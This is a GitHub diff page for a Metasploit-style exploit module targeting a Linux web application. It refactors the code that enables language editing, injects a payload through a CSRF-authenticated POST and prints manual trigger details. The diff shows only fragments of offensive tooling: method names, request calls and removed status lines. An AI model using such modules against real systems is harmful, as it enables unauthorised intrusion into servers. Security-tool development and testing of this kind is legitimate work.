File tree Expand file tree Collapse file tree 1 file changed +3
-11
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +3
-11
lines changed Original file line number Diff line number Diff line change @@ -194,7 +194,7 @@ def enable_langedit_permission
194
194
'keep_cookies' => true
195
195
} )
196
196
197
- if res && res . code == 200
197
+ if res & .code == 200
198
198
print_good ( 'Successfully enabled admin_allow_langedit' )
199
199
return true
200
200
else
@@ -237,16 +237,12 @@ def inject_payload
237
237
'_csrf_key' => csrf_key ,
238
238
'records[\]' => injection
239
239
}
240
- res = send_request_cgi ( {
240
+ send_request_cgi ( {
241
241
'method' => 'POST' ,
242
242
'uri' => edit_url ,
243
243
'vars_post' => injection_data ,
244
244
'keep_cookies' => true
245
245
} )
246
- fail_with ( Failure ::UnexpectedReply , 'Injection request failed' ) unless res
247
- payload_url = normalize_uri ( target_uri . path , 'admin' , @payload_file )
248
- print_good ( "Payload successfully injected: #{ @payload_file } " )
249
- return payload_url
250
246
end
251
247
252
248
def exploit
@@ -269,10 +265,6 @@ def exploit
269
265
end
270
266
end
271
267
272
- payload_url = inject_payload
273
- print_status ( 'Starting payload handler...' )
274
- print_status ( 'Manual trigger information:' )
275
- print_line ( "URL: #{ full_uri } #{ payload_url } " )
276
- print_line ( "Manual trigger: curl '#{ full_uri } #{ payload_url } '" )
268
+ inject_payload
277
269
end
278
270
end
You can’t perform that action at this time.
0 commit comments